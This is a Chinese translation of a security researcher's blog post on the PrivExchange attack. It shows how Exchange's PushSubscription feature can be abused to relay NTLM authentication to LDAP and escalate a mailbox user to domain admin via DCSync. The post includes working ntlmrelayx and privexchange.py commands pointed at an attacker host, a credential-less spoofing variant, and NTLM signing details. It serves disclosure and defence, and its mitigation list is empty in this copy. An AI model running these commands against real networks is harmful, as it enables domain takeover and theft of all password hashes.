滥用Exchange:距离获取域管权限只差一个API调用

原文:https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

0x00 概要

在使用Active Directory和Exchange的大多数组织中,Exchange服务器的权限非常高,如果掌握Exchange服务器上的管理员权限,就足以升级到域管理员。最近我阅读了ZDI的一篇博客,其中详细介绍了攻击者如何利用基于HTTP的NTLM机制,让Exchange通过攻击者的身份验证。这种攻击方法可以与NTLM中继攻击(NTLM relay)相结合,从具有邮箱的任何用户升级到域管理员,我见过的使用Exchange的组织中有九成以上都受此攻击方法影响。在默认配置下,攻击者就可以发起这种攻击,并且公布攻击方法时官方并没有提供可用的补丁,用户可以采取一些缓解措施来防止攻击者利用这种权限提升方法。本文详细介绍了这种攻击过程,分析了更多技术细节,介绍了缓解措施,也为公布了可用于这种攻击方法的一个PoC工具:PrivExchange。

0x01 组合利用已知漏洞的新方法

本文综合了几个已知的漏洞和已知的协议脆弱性,将其组合成一种新的攻击方法。这种攻击方法中包含如下3个组件,可以结合起来,使攻击者从具备邮箱的任意用户提升至域管访问权限:

0x02 Exchange及高权限

这里主要的漏洞在于Exchange在活动目录(AD)域中具备较高权限。“Exchange Windows Permissions”对AD中的域对象具备WriteDacl访问权限,这样该组内的所有成员都具备域权限修改能力,其中就包括执行DCSync操作的权限。具备该权限的用户或者计算机可以执行同步操作,而通常情况下只有域控才会在域同步过程中执行该操作。这样一来,攻击者就可以同步AD中所有用户的密码哈希值。之前已经有一些研究人员介绍过这方面内容(见文末的参考资料),去年我也与Fox-IT的同事Rindert一起发表过这方面文章,在那篇文章中,我还公布了新版的ntlmrelayx,可以在NTLM relay攻击时执行基于ACL(访问控制列表)的攻击操作。

0x03 针对主机账户的NTLM中继攻击

NTLM中继攻击技术已经有些历史了。之前这种攻击技术的重点主要是通过SMB中继NTLM认证数据,以便获取其他主机的代码执行权限。虽然许多企业网络中并没有启用SMB签名机制,使这种攻击技术仍有用武之地,但其他协议其实可能受中继攻击影响。在我看来,最有趣的协议是LDAP,这种协议可以用来读取并修改(活动)目录中的对象。如果大家想复习关于NTLM中继攻击方面的知识,可以先阅读我之前写过的一篇文章。简而言之,除非部署了缓解措施,否则攻击者还是可以作为中间节点,将发往攻击者主机的身份认证数据传递给网络中的其他主机, 如下图所示:

当认证数据被中继至LDAP时,目录中的对象可以被修改,赋予攻击者相应权限,其中就包括执行DCSync操作所需的权限。因此,如果我们能够让Exchange服务器使用NTLM协议向我们发起身份认证,我们就能执行ACL攻击操作。需要注意的是,只有当受害者使用HTTP(而非SMB)协议向我们发起认证时,我们才能将认证数据中继至LDAP(参考下文的“技术分析”部分)。

0x04 诱导Exchange发起认证

目前我们缺少的是诱导Exchange向我们发起身份认证的一种简单办法。ZDI某位研究人员(他们发表的文章中并没有提到这个人的名字)发现,攻击者可以利用Exchange的PushSubscription功能,使Exchange通过HTTP向任意URL发起身份认证。在ZDI发表的文章中,他们使用这个漏洞将NTLM认证数据重新传回Exchange服务器(也就是所谓的反射攻击),用来仿冒其他用户。如果我们将这种技术应用在默认处于高权限的Exchange服务器上,然后执行中继攻击(而不是反射攻击),那么我们就可以使用这些权限来获取DCSync权限。即便没有发生任何事件,我们也可以使用这种推送通知服务,每隔X分钟就发送一次消息,这里X的数值由攻击者指定。这样即使收件箱没有任何动作,我们也能确保Exchange向我们发起连接。

0x05 执行权限提升攻击

前文提到的攻击流程如下图所示,经过若干步骤后我们就能提升权限:

我们需要使用两款工具来发起攻击:privexchange.py以及ntlmrelayx,这些工具的下载地址请参考对应的GitHub页面(PrivExchange以及impacket)。我们以中继(relay)模式运行ntlmrelayx,将目标设置为域控上的LDAP,然后提供攻击者控制的、待提升权限的当前用户(这里以ntu用户为例):

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

接下来我们运行privexchange.py脚本:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

如果我们使用的用户没有对应的邮箱,那么就会看到如上错误信息。现在我们换成关联了邮箱的另一个用户试试:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

经过1分钟后(我们设置推送通知的间隔时间),我们可以在ntlmrelayx中看到传入连接,该用户也顺利获得DCSync权限:

我们可以使用secretsdump来验证当前账户是否具备DCSync权限:

获得所有AD用户的密码哈希后,攻击者可以创建黄金票据(golden ticket)来仿冒任何用户,或者使用任何用户的密码哈希,向域中接受NTLM或者Kerberos认证协议的任何服务发起请求。

0x05 技术细节:中继至LDAP以及签名

前文提到过,我们无法使用SMB来将认证数据中继至LDAP,这也是为什么我们无法像最近公布的SpoolService RPC滥用技术那样来使用这种攻击技术(因为SpoolService RPC使用的是基于SMB的认证过程)。由于人们经常提到关于这方面的问题,也存在不少困惑,这里我们来仔细研究一下技术细节。如果大家不想深入了解NTLM认证过程,可以直接跳过这一部分。

基于SMB以及HTTP的NTLM认证过程的区别在于协商(negotiate)时默认使用的标志。这里存在问题的是NTLMSSP_NEGOTIATE_SIGN标志(0x00000010,参考MS-NLMP section 2.2.2.5中的介绍)。基于HTTP的NTLM认证过程默认情况下并没有设置该标志,但如果使用SMB,则该标志默认情况下处于设置状态:

当我们将该数据包中继至LDAP时,会成功完成身份认证过程,但LDAP希望所有消息都经过某个会话秘钥签名(该会话秘钥的值来源于对应的密码,在中继攻击中我们无法获取该密码),因此会忽略不带有签名的任何消息,使我们的攻击过程失败。大家可能好奇,我们能否在传输过程中修改这些标志,使整个过程不涉及签名协商操作。不幸的是,这对现在的Windows版本而言无法完成,因为系统默认情况下会包含一个MIC(Message Integrity Code,消息完整性代码),而MIC是基于所有3个NTLM消息所计算出的一个签名值,因此修改任何一个消息都会破坏消息有效性。

那么我们是否可以移除MIC?答案是肯定的,这是因为该字段并不是NTLM消息中的保护字段。然而NTLM身份认证(仅限于NTLMv2)中存在最后一种保护机制可以避免出现这种情况:在NTLMv2响应数据中(响应数据同样使用受害者的密码进行签名),包含一个AV_PAIR结构:MsvAvFlags。当这个字段的值为0x0002时,则表示客户端已发送的type 3消息中包含MIC字段。

修改NTLMv2响应数据会导致认证过程无效,因此我们无法删除这个标志字段。该标志字段表示认证过程中已经计算并包含了MIC值,因此目标服务器会验证MIC值,确保所有3条消息在传输过程中都没有被修改过,因此我们无法删除签名标志。

(我认为)这种情况只适用于Microsoft版的NTLM认证过程。如果某些自定义应用实现了NTLM认证过程,可能不会实现这么多细节,没有考虑到MIC以及AV_PAIR标志,因此攻击者有可能修改相应标志,使基于SMB的LDAP中继攻击成为可能的攻击场景。比如,对于NTLM认证过程的Java版实现来说,攻击者就可以在传输过程中修改数据,绕过安全措施。

0x06 在不具备任何凭据下发起攻击

在前文中,攻击过程的第一步中我们使用了已窃取的凭据。如果攻击者只能发起网络攻击,但不具备任何凭据,那么还是有可能触发Exchange发起身份认证操作。如果我们能发起SMB到HTTP(或者HTTP到HTTP)中继攻击(比如使用LLMNR/NBNS/mitm6欺骗攻击技术),我们就可以中继同一网络中某个用户的认证数据,将认证数据中继至Exchange EWS,然后使用这些用户的凭据来触发回调操作(这里要感谢Mark提出这个思路)。我稍微修改了httpattack.py,现在我们可以在不具备任何凭据的情况下,从网络层面发起攻击(我们只需要修改脚本中硬编码的攻击主机)。

0x07 缓解措施

这种攻击技术需要依赖各种组件才能正常工作。在之前的文章中,我已经介绍了可以防御NTLM中继攻击以及LDAP中继攻击的一些防御机制。

对这种攻击技术而言,最重要的缓解措施如下:

0x08 相关工具及受影响的版本

大家可以访问此处获取PoC工具,我们已经在如下Exchange/Windows环境上测试过这些工具:

这些Exchange服务器在安装时都使用了共享权限模式(默认设置),但这篇文章提到,采用RBAC(基于角色的权限访问控制)分离权限的部署方案同样受这种攻击方法影响(我并没有测试这种场景)。

0x09 参考文献

缓解措施:

NTLM中继/签名机制:

其他参考资料:

源链接

Hacking more

...